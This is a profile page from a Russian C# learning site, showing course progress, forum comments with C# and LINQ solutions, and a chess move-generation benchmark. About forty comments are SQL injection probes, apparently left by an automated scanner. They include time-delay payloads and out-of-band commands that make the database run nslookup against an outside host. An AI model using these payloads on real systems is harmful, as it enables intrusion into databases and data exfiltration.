Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович
Робот Шарп в отпуске до 14 августа

FireWolf
  • Звание: Мегакодер
  • Накопленный опыт: 626 часов
  • Баланс Мегахешей: собрано 33 Mh, потрачено 5 Mh , остаток 28 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2022-03-08 14:13:54
  • Возраст: 41 год

Видеокурсы

Дата активности Видеокурс Прогресс
2018-10-29 gmaps ASP.NET и GMaps 4 из 11 37 %
2018-10-28 aspnet Базовый ASP.ект 23 из 24 96 %
2018-10-27 ogame On-line игра 3 из 28 %
2018-10-07 task3 Комбинаторика 7 из 22 32 %
2018-10-04 iterator Итератор все 10 100 %
2018-09-19 webapi Web API все 1 %
2018-09-16 game0 Демо игры все 10 100 %
2018-09-16 wpf2 Простой WPF 11 из 12 %
2018-09-16 soft0 Демо софт все 8 115 %
2018-09-15 game1 Нано-игры все 9 90 %
2018-09-14 ef Entity Framework все 8 100 %
2018-09-05 chess3 Шахматы по сети все 95 %
2018-05-27 power Дневник успеха 1 из 251 17 %
2018-01-14 nevermind Невидимка все 5 %
2018-01-06 javasweeper Java Sweeper все 52 %
2017-10-28 soft1 Нанософт 1 из 10 10 %
Итого: 248 из 556 45 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2019-01-17 book 000. Строки 6 из 8 75 %
2019-01-15 club 4004 - Елена Вставская 1 из 27 4 %
2018-12-23 task1 Календарь все 16 100 %
2018-12-22 task1 Цифры 11 из 12 92 %
2018-12-21 club 24 - Муза Оля все 3 100 %
2018-12-20 task2 VIP задачи 5 из 0 %
2018-12-18 task2 Комбинаторика все 9 100 %
2018-12-16 task2 Динамика все 3 100 %
2018-12-15 task2 Матрицы все 4 100 %
2018-12-15 task2 Рекурсия все 4 100 %
2018-12-13 task2 Строки все 6 100 %
2018-12-13 task2 Подпрограммы все 14 100 %
2018-12-11 task2 Простые массивы все 8 100 %
2018-12-10 task2 Матрёшки все 9 100 %
2018-12-09 task2 По цифрам все 8 100 %
2018-12-09 task2 Математика все 9 100 %
2018-12-09 task2 Любимые циклы все 6 100 %
2018-12-08 task2 Последовательность все 6 100 %
2018-12-07 task2 Точка и плоскость все 6 100 %
2018-12-07 task2 Узник цикла IF все 6 100 %
2018-12-06 task2 Обман цикла все 7 100 %
2018-12-06 task2 Do-рацикл все 4 100 %
2018-12-05 task2 Пока-цикл все 6 100 %
2018-12-05 task2 Вечность все 5 100 %
2018-12-04 task2 For-to-чки все 26 100 %
2018-12-03 task2 Условный оператор все 16 100 %
2018-12-01 task2 Типы данных все 5 100 %
2018-12-01 task2 Логика все 13 100 %
2018-11-30 task2 Алгоритмика все 20 100 %
2018-11-25 task1 Целые задачи все 11 100 %
2018-11-24 task1 Геометрия все 8 100 %
2018-11-21 task1 Формулы все 9 100 %
2018-11-21 task1 Символы все 5 100 %
2018-11-19 task1 Лирика 13 из 14 93 %
2018-11-19 task1 Строки все 14 100 %
2018-11-18 task1 Целые числа все 7 100 %
2018-11-18 task1 Семантика все 6 100 %
2018-10-28 solo Java - Циклы 3 из 2 150 %
2018-10-27 solo Java - Запуск 11 из 13 85 %
2018-10-18 solo C# набор 28 из 17 165 %
2018-10-03 solo Java - Вывод данных 3 из 7 43 %
2018-09-29 olimp Олимпиада 4 из 40 10 %
2018-05-03 olimp Шахматы 1 из 2 50 %
Итого: 365 из 421 87 %
Сохранить страницу:


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-6924.11120.c9d55.\1.bxss.me


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-6923.11120.c9d55.\1.bxss.me'


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-6921.11120.c9d55.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-6918.11120.c9d55.1.bxss'||'.me')


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

KMoppzY2'));select pg_sleep(8.765); --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

oTkAjp1j');select pg_sleep(17.53); --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

Xj3p4Py2';select pg_sleep(26.295); --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

-1));select pg_sleep(26.295); --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:26

-1);select pg_sleep(17.53); --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

-1;select pg_sleep(8.765); --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

CUFOBODM'; waitfor delay '0:0:8.765' --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

1 waitfor delay '0:0:26.295' --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

-1); waitfor delay '0:0:8.765' --



31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

-1; waitfor delay '0:0:8.765' --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

(select(0)from(select(sleep(26.295)))v)/*'+(select(0)from(select(sleep(26.295)))v)+'"+(select(0)from(select(sleep(26.295)))v)+"*/


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

if(now()=sysdate(),sleep(17.53),0)/*'XOR(if(now()=sysdate(),sleep(17.53),0))OR'"XOR(if(now()=sysdate(),sleep(17.53),0))OR"*/




31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

-1" OR 2+334-334-1=0+0+0+1 --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:25

-1' OR 2+633-633-1=0+0+0+1 or 'hd7F0awj'='



31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:24

-1' OR 2+302-302-1=0+0+0+1 --


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:24

-1 OR 2+926-926-1=0+0+0+1


31528. --
1
1
ответить
→  FireWolf  # Шахматы по сети / Классы. Консольная доска / 2021-07-30 13:24

-1 OR 2+208-208-1=0+0+0+1 --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:52

289'


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:52

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-1845.11120.08929.\1.bxss.me


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:52

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-1839.11120.08929.\1.bxss.me'


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-1837.11120.08929.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-1835.11120.08929.1.bxss'||'.me')


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

nQ3EOzb2'));select pg_sleep(7.376); --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

9tq9NcDK');select pg_sleep(7.376); --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

WOF93O1g';select pg_sleep(11.064); --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

-1));select pg_sleep(11.064); --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

-1);select pg_sleep(11.064); --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

-1;select pg_sleep(11.064); --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

pKk8eGm5'; waitfor delay '0:0:7.376' --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

1 waitfor delay '0:0:11.064' --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:51

1 waitfor delay '0:0:3.688' --


31528. --
1
1
ответить

31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1); waitfor delay '0:0:11.064' --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1); waitfor delay '0:0:3.688' --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

@@aAEb6


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1; waitfor delay '0:0:3.688' --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

(select(0)from(select(sleep(3.688)))v)/*'+(select(0)from(select(sleep(3.688)))v)+'"+(select(0)from(select(sleep(3.688)))v)+"*/


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

if(now()=sysdate(),sleep(3.688),0)/*'XOR(if(now()=sysdate(),sleep(3.688),0))OR'"XOR(if(now()=sysdate(),sleep(3.688),0))OR"*/


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1" OR 2+590-590-1=0+0+0+1 --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

1


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1' OR 2+848-848-1=0+0+0+1 or 'm9rSrTCx'='


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1' OR 2+872-872-1=0+0+0+1 --


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1 OR 2+618-618-1=0+0+0+1


31528. --
1
1
ответить
→  FireWolf  # Java Sweeper / Финальный аккорд / 2021-07-30 08:50

-1 OR 2+760-760-1=0+0+0+1 --


23924. --
Красимир Зорбов
Красимир Зорбов
ответить
→  FireWolf  # Шахматы по сети / Интерфейс. Начальная позиция / 2020-01-02 10:10

Можете ли вы выслать мне этот файл Zero.png, я не знаю, как это сделать: krasizorbov@abv.bg


10080. --
FireWolf
FireWolf
ответить
→  Yury   / 2019-01-05 18:00

Ну да, entity framework с Linq to SQL очень удобно использовать и коротко получается. А лямбдами можно вообще многие простые методы в одну строку вписать. Правда я это на основе уроков только говорю, так как работу программистом пока не могу найти.


19327. --
Yury
Yury
ответить
→  FireWolf   / 2019-01-05 17:22

Я на работе часто использую MySQL. И никак не могу найти время хотя бы по диагонали почитать Linq. При работе с СУБД думаю он будет крайне полезен. А в сочетании с лямбда выражениями - просто песня.


10080. --
FireWolf
FireWolf
ответить
→  Yury   / 2019-01-05 11:09

Да, в принципе, любой учебник по C# затрагивает Linq и на сайте MS тоже есть разбор возможностей C#. Но без конкретной необходимости применить что-то из Linq нет смысла его зубрить. Лучше прочитать про его возможности, а потом уже при написании программы вспомнить, что, кажется, вот тут выборку значений из массива по условию можно сделать короче используя Linq и поискать примеры на stackoverflow. Ну и, конечно, лучше сначала научиться делать всё без Linq - он же по сути занимается тем же самым перебором массивов через foreach, просто скрыто генерирует все переборы и условия. Ну и использование Linq не всегда оправдано: он может быть как быстрее, так и медленнее прописывания вручную.


19327. --
Yury
Yury
ответить
→  FireWolf  # Консоль / Целые числа / Пять чисел / 2019-01-04 22:45

прекрасное решение. Обязательно нужно Linq учить. Кстати не подскажите книжечку или курс попонятнее? Заранее благодарен


19384. --
Владимир
Владимир
ответить
→  FireWolf   / 2018-12-24 12:03

Спасибо!


10080. --
FireWolf
FireWolf
ответить
→  Владимир  # Консоль / Календарь / Секундомер / 2018-12-24 11:33

h - 1 знак часа в 12-часовом формате (5 а не 05)
m - 1 знак минуты (5, а не 05)
s - 1 знак секунды(5, а не 05)
@ - показывает, что строку надо обрабатывать как есть и тогда можно писать 1 слеш вместо двух
\ - показывает, что тут надо поставить пробел
Дело в том, что конвертация DateTime в string не понимает явно указанных пробелов и надо их обозначить служебным символом, а так как один слеш конвертация использует в своих целях, то надо два слеша. А @ позволяет обойтись одним. То есть, вместо  .ToString(@"h\ m\ s") можно написать и .ToString(@"h\\ m\\ s").


19384. --
Владимир
Владимир
ответить
→  FireWolf  # Консоль / Календарь / Секундомер / 2018-12-24 10:57

Можешь пожалуйста обьяснить последнюю строку? А именно (@"h\ m\ s")


10080. --
FireWolf
FireWolf
ответить
→  Владимир  # Консоль / Цифры / Серединка / 2018-12-22 16:46

На самом деле надо ещё проще:
Console.WriteLine(Console.ReadLine().Substring(1, 4));
Но нельзя использовать слово string :))))


19384. --
Владимир
Владимир
ответить
→  FireWolf  # Консоль / Цифры / Серединка / 2018-12-22 16:29

Круто!


10080. --
FireWolf
FireWolf
ответить
→  Кирилл  # Консоль / 24 - Муза Оля / Фибоначчи / 2018-12-21 10:50

Можно ещё кратче:
{
        ulong t = 1, f = 0, N = ulong.Parse(Console.ReadLine());
        while (f < N) f = t + (t = f);
        Console.WriteLine(f == N && N != 0 ? "YES" : "NO");
}


10080. --
FireWolf
FireWolf
ответить
# Консоль / 24 - Муза Оля / Фибоначчи / 2018-12-21 10:48

В тесте ошибка: 0 относится к числам Фибоначчи: en.wikipedia.org/wiki/Fibonacci_number#List_of_Fibonacci_numbers
Пришлось добавить исключение для нуля :(


10080. --
FireWolf
FireWolf
ответить
# Консоль / VIP задачи / Тю / 2018-12-20 11:49

А я сделал через Enum... Доктор скажите, я извращенец? ^_^


10080. --
FireWolf
FireWolf
ответить
# Консоль / Комбинаторика / Цифры и знаки / 2018-12-18 20:40

Узнал из видео про отличный чит!


10080. --
FireWolf
FireWolf
ответить
→  Слава  # Консоль / Рекурсия / Обратный отсчёт / 2018-12-15 19:08

А здесь парсить строки вообще нет нужды.


10080. --
FireWolf
FireWolf
ответить
# Консоль / Матрицы / Квадранты матрицы / 2018-12-15 17:41

Сделал через Jagged Array - так и заполнение и вывод массива в одну строчку получается.


10080. --
FireWolf
FireWolf
ответить
# Консоль / Подпрограммы / Звезда / 2018-12-13 14:21

Сделал через цикл с использованием НОДа от предыдущей задачи, а введённые координаты храню в структуре Point в List.


10080. --
FireWolf
FireWolf
ответить
# Консоль / Простые массивы / Мини-максимум / 2018-12-13 10:27

Проще через Min и Max конечно, но чтобы оптимизировать решение пришлось больше строчек на одну сделать :(


10080. --
FireWolf
FireWolf
ответить
# Консоль / Подпрограммы / НОД / 2018-12-12 11:35

Интересно. Сделал цикл для произвольного количества элементов. Для интереса в методе поиска НОДа попробовал рекурсию, while и for.

Выяснил, что с циклом for из видеорешения 7-й тест вылетает по таймауту, потому что на 1 прогон чисел в тесте на i5-8250U нужно больше 22 секунд!

Рекурсия же для прогона 1 000 000 раз затратила минимум 199 мс!

А круче всего работает цикл while - 1 000 000 прогонов за 122 мс!

То есть, цикл ащк из видеорешения более чем в 180 миллионов раз неэффективнее цикла while и более чем в 110 миллионов неэффективнее рекурсии!


10080. --
FireWolf
FireWolf
ответить
# Консоль / Матрёшки / Семизначные числа / 2018-12-10 19:10

Я решил задачу в одну строчку через Enumerable.Range в Linq и проверкой на наличие лишних char в строке. Но потом я задумал чисто работу со строкой и чтобы составлять строку поразрядным увеличением. Можно сказать, что решил сделать кастомный BigInt под конкретную задачу инкремента числа на 2 - 2 - 6. Но в решение её не внёс, чтобы оставить короткое решение через Linq :)
var s = "3333333".ToCharArray();
for (int stop = 6; stop >= 0;)
{
    int pos = 6;
    for (int inc = 3; inc <= 7; inc += 2)
    {
        s[pos] = inc.ToString().ToCharArray()[0];
        Console.WriteLine(s);
    }
    while (pos >= 0)
    {
        if (s[pos] == '7')
        {
            s[pos] = '3';
            pos--;
            stop--;
        }
        else
        {
            s[pos] = ((int.Parse(s[pos].ToString())) + 2).ToString().ToCharArray()[0];
            stop = pos;
            break;
        }
    }
}


10080. --
FireWolf
FireWolf
ответить
# Консоль / Условный оператор / Возрастание / 2018-12-03 14:04

А мне нравится такое решение:

var nums = Array.ConvertAll(Console.ReadLine().Trim().Split(), int.Parse).OrderBy(x => x);
foreach (var n in nums) Console.WriteLine(n);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Условный оператор / Три Максима / 2018-12-02 19:16

Как я перестал бояться и полюбил Linq:

using System.Linq;
using System;
class VideoSharp
{
    static void Main()/*if*/
    {
        Console.WriteLine(Array.ConvertAll(Console.ReadLine().Split(), long.Parse).Take(3).Max());
    }
}


5649. --
Максим Лапшинов
Максим Лапшинов
ответить
→  FireWolf   / 2018-12-02 13:03

оно скрыто от постороних глаз решение под кнопкой а вы показываете уже сразу решение и это плохо очень


10080. --
FireWolf
FireWolf
ответить
→  Максим Лапшинов   / 2018-12-02 12:47

- чтобы показать альтернативный вариант решения.
- можно тупо скопировать и из видеорешения.
- обсуждайте!
- готовое решение можно сразу посмотреть в видео - тоже очень плохо?
- вот именно! Никакой разницы. Если кто-то не хочет решать сам или смотреть видео, то он точно так-же посмотрит решение промотав в конец.


5649. --
Максим Лапшинов
Максим Лапшинов
ответить
→  FireWolf  # Консоль / Алгоритмика / Условный оператор / 2018-12-02 12:13

Вот и для чего публиковать тут в сообшении решение задачки?
Тут ведь приходят чтобы научится и некто их незаставляет учится чтобы брать и тупо копировать код программы
А так хотят видеть не готовое решение программы а обсуждение ее
А вы сразу тут постите решение задачки и это очень плохо
А так есть кнопка видеорешение можно посмотреть решение или в самый конец прокрутить и переписать решение но непонять его


10080. --
FireWolf
FireWolf
ответить
# Консоль / Типы данных / Байты и числа / 2018-11-30 22:14

int i = int.Parse(Console.ReadLine()) * 2;
        byte b = (byte)i;
        Console.WriteLine(i + " " + b);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Алгоритмика / Простые массивы. / 2018-11-30 15:26

Умный в циклы не пойдёт, умный LINQ'ом обойдёт...
using System.Linq;
using System;
class VideoSharp
{
    static void Main()/*[]*/
    {
        string N = Console.ReadLine();
        Console.WriteLine(Console.ReadLine().Split().Count(n => n == "0" || n == "-0"));
    }
}


10080. --
FireWolf
FireWolf
ответить
# Консоль / Алгоритмика / Обман цикла / 2018-11-29 16:49

В одну строчку с Linq:

using System;
using System.Linq;
class VideoSharp
{
    static void Main()/*for continue*/
    {
      Console.WriteLine(Console.ReadLine().Count(c => "bcdfghjklmnpqrstvwxz".Contains(char.ToLower(c))));
    }
}


10080. --
FireWolf
FireWolf
ответить
# Консоль / Алгоритмика / For-то-чки / 2018-11-28 17:03

Альтернативный вариант:
        int N = int.Parse(Console.ReadLine());
        System.Text.StringBuilder sb = new System.Text.StringBuilder(":-");
        for (int i = 0; i < N; i++) sb.Append(")");
        Console.WriteLine(sb.ToString());


10080. --
FireWolf
FireWolf
ответить
# Консоль / Календарь / Послезавтра / 2018-11-27 17:28

А вот вам альтернативный вариант!

class VideoSharp
{
    static void Main()/*AddYears AddMonths AddDays*/
    {
        DateTime dt1 = DateTime.Parse(Console.ReadLine());
        DateTime dt2 = DateTime.Parse(Console.ReadLine());
        int years, months, days;
        years = dt2.Year - dt1.Year;
        if (dt2.Month < dt1.Month)
        {
            years--;
            months = 12 - dt1.Month + dt2.Month;
        }
        else months = dt2.Month - dt1.Month;
        if (dt2.Day < dt1.Day)
        {
            if (dt2.Month == dt1.Month)
            {
                years--;
                months = 11;
            }
            else months--;
            days = DateTime.DaysInMonth(dt1.Year, dt1.Month) - dt1.Day + dt2.Day;
            if (months == 11 && days == 28)
            {
                years++;
                months = 0;
                days = 0;
            }
        }
        else days = dt2.Day - dt1.Day;
        Console.WriteLine("{0}\r\n{1}\r\n{2}", years, months, days);
    }
}


10080. --
FireWolf
FireWolf
ответить
# Консоль / Календарь / Секундомер / 2018-11-27 15:09

long seconds = long.Parse(Console.ReadLine()) % 86400;
        TimeSpan time = TimeSpan.FromSeconds(seconds);
        Console.WriteLine(time.ToString(@"h\ m\ s"));


10080. --
FireWolf
FireWolf
ответить
# Консоль / Календарь / День года / 2018-11-26 20:17

        DateTime dt;
        if (DateTime.TryParse(Console.ReadLine(), out dt)) Console.WriteLine(dt.DayOfYear);
        else Console.WriteLine(-1);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Цифры / Чётность цифр / 2018-11-26 18:58

        string num = Console.ReadLine().TrimStart('0', '-'); int even = 0, odd = 0;
        foreach (char c in num)
        {
            if ((c - '0') % 2 == 0) even++;
            else odd++;
        }
        Console.WriteLine(even == odd ? 0 : even > odd ? 2 : 1);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Цифры / Серединка / 2018-11-26 16:32

using System;
class VideoSharp
{
    static void Main()
    {
        Console.WriteLine(Console.ReadLine().Remove(0, 1).Remove(4, 1));
    }
}


10080. --
FireWolf
FireWolf
ответить
# Консоль / Цифры / Штирлиц / 2018-11-25 22:39

        var str = Console.ReadLine().Trim('0');
        if (str.Length < 2) Console.WriteLine(str);
        else Console.WriteLine("{1}{0}", str[0], str[1]);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Цифры / Ноль-ноль / 2018-11-25 20:49

Попробовал такой вариант:
        string str = Console.ReadLine();
        str = str.Remove(str.Length - 2);
        str += "00";
        Console.WriteLine(str);
Но роботу ненравится ответ "00" на введённое число "24". Почему?


10080. --
FireWolf
FireWolf
ответить
# Консоль / Цифры / Сумматор / 2018-11-25 20:02

Нельзя string? Ну нельзя - так нельзя...
    static void Main()
    {
        var input = Console.ReadLine(); int sum = 0;
        foreach (var n in input) sum+= (n - '0');
        Console.WriteLine(sum);
    }


10080. --
FireWolf
FireWolf
ответить
# Консоль / Целые задачи / Арифметика 2 / 2018-11-25 16:20

        long[] nums = Array.ConvertAll(Console.ReadLine().Split(new[] {'+', '*', '='}, StringSplitOptions.RemoveEmptyEntries), long.Parse);
        Console.WriteLine(nums[0] + nums[1] * nums[2]);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Целые задачи / Вторая дробная / 2018-11-25 16:17

Попробовал сначала сделать целиком через строки, но чтобы всё учесть слишком длинное решение получается. Поэтому очтановился на таком:

        double input = double.Parse(Console.ReadLine(), NumberStyles.Float, CultureInfo.InvariantCulture);
        string str = input.ToString("F3");
        Console.WriteLine(str.Substring(str.Length - 2, 1));

Форматирую строку под 3 знака после запятой ("F3"), а не под 2, чтобы избежать округления. И поэтому беру второй знак с конца. а не первый.


10080. --
FireWolf
FireWolf
ответить
# Консоль / Целые задачи / Арифметика / 2018-11-24 17:17

    static void Main()/*IndexOf Substring*/
    {
        long[] nums = Array.ConvertAll(Console.ReadLine().Split(new[] {'*', '='}, StringSplitOptions.RemoveEmptyEntries), long.Parse);
        Console.WriteLine(nums[0] * nums[1]);
    }


10080. --
FireWolf
FireWolf
ответить
# Консоль / Символы / Буквы кодов / 2018-11-21 16:32

Console.WriteLine(string.Join("", Console.ReadLine().Split().Take(7).Select(c => Convert.ToChar(int.Parse(c)))));


10080. --
FireWolf
FireWolf
ответить
# Консоль / Символы / Коды букв / 2018-11-21 16:27

Console.WriteLine(string.Join(" ", Console.ReadLine().Take(5).Select(c => Convert.ToInt32(c))));


10080. --
FireWolf
FireWolf
ответить
# Консоль / Лирика / Билетики / 2018-11-19 18:31

        string ticketA = Console.ReadLine(), ticketB = Console.ReadLine();
        int sum = 0, length = ticketA.Length;
        for (int i = 0; i < length; i++) sum += Math.Abs(ticketA[i] - ticketB[i]);
        Console.WriteLine(sum);


10080. --
FireWolf
FireWolf
ответить
# Консоль / Лирика / Яблоки / 2018-11-19 17:51

Console.WriteLine(Array.ConvertAll(Console.ReadLine().Split(), x => int.Parse(x)).Aggregate((a, b) => b * a));


10080. --
FireWolf
FireWolf
ответить
# Консоль / Лирика / Классики / 2018-11-19 17:38

        int[] nums = Array.ConvertAll(Console.ReadLine().ToCharArray(), x => x - '0');
        Console.WriteLine(nums.Sum());


10080. --
FireWolf
FireWolf
ответить
# Консоль / Целые числа / Пять чисел / 2018-11-18 15:37

Linq - и всё решение в одну строчку.


  • Звание: Мегакодер
  • Накопленный опыт: 626 часов
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2018-10-29

Клуб формулистов

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Улучшил свои практически отсутсвующие навыки по работе с таблицами SQL (в учебнике Троелсена оно как-то замутнее объяснялось).



Научился: Это будет длинный отчёт, но, надеюсь, интересный! В общем я решил заморочиться и сделать много ненужной работы! Опытным путём удалось выяснить, что очень большие потери идут на пересоздание board, но как уменьшить расходы на пересоздание, чтобы при этом не сбивалось расположение фигур я пока не придумал. Тогда я подумал, как можно ускорить расчёты и решил распараллелить метод Program.NextMoves(). Сделать по-уму через Parallels.Foreach вначале не получилось, так как получались неверные результаты, и тогда я решил схитрить и сделать через PLINQ, а заодно потестить и простой LINQ. Вначале результаты были обнадёживающие, но после нескольких тестовых запусков пошли неверные результаты в многопотоке и тогда я всё-таки разобрался, как сделать многопоточный foreach. Ещё я попытался распараллелить метод Chess.YieldValidMoves(), но из этого ничего хорошего не вышло. Точнее, все распараллеливания считали быстро, но считали ерунду :) В ходе тестирования выяснилось также, что просто перевод foreach в LINQ иногда быстрее. В общем я провёл следующее тестирование: NextMoves - простой метод из урока, NextMovesLINQ - он же, но преобразованный в LINQ, NextMovesParallel - реализованный через Parallel.Foreach Этими методами я вызывал следующие методы: YieldValidMoves - метод из Chess, стостоящий из лесенки foreach, YieldValidMovesLINQ - он же, но преобразованный в LINQ Результаты, полученные на моём ноутбуке с процессором i5 8250 для стартового FEN "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1": NextMoves() + YieldValidMoves() - Steps: 1 / Result: 20 / Done in 16ms NextMovesLINQ() + YieldValidMoves() - Steps: 1 / Result: 20 / Done in 10ms NextMovesParallel + YieldValidMoves() - Steps: 1 / Result: 20 / Done in 63ms NextMoves() + YieldValidMovesLINQ() - Steps: 1 / Result: 20 / Done in 13ms NextMovesLINQ() + YieldValidMovesLINQ() - Steps: 1 / Result: 20 / Done in 6ms NextMovesParallel() + YieldValidMovesLINQ() - Steps: 1 / Result: 20 / Done in 38ms NextMoves() + YieldValidMoves() - Steps: 2 / Result: 400 / Done in 123ms NextMovesLINQ() + YieldValidMoves() - Steps: 2 / Result: 400 / Done in 82ms NextMovesParallel() + YieldValidMoves() - Steps: 2 / Result: 400 / Done in 33ms NextMoves() + YieldValidMovesLINQ() - Steps: 2 / Result: 400 / Done in 94ms NextMovesLINQ() + YieldValidMovesLINQ() - Steps: 2 / Result: 400 / Done in 93ms NextMovesParallel() + YieldValidMovesLINQ() - Steps: 2 / Result: 400 / Done in 26ms NextMoves() + YieldValidMoves() - Steps: 3 / Result: 8902 / Done in 3012ms NextMovesLINQ() + YieldValidMoves() - Steps: 3 / Result: 8902 / Done in 2583ms NextMovesParallel() + YieldValidMoves() - Steps: 3 / Result: 8902 / Done in 513ms NextMoves() + YieldValidMovesLINQ() - Steps: 3 / Result: 8902 / Done in 3067ms NextMovesLINQ() + YieldValidMovesLINQ() - Steps: 3 / Result: 8902 / Done in 2327ms NextMovesParallel() + YieldValidMovesLINQ() - Steps: 3 / Result: 8902 / Done in 471ms NextMoves() + YieldValidMoves() - Steps: 4 / Result: 197281 / Done in 55673ms NextMovesLINQ() + YieldValidMoves() - Steps: 4 / Result: 197281 / Done in 54321ms NextMovesParallel() + YieldValidMoves() - Steps: 4 / Result: 197281 / Done in 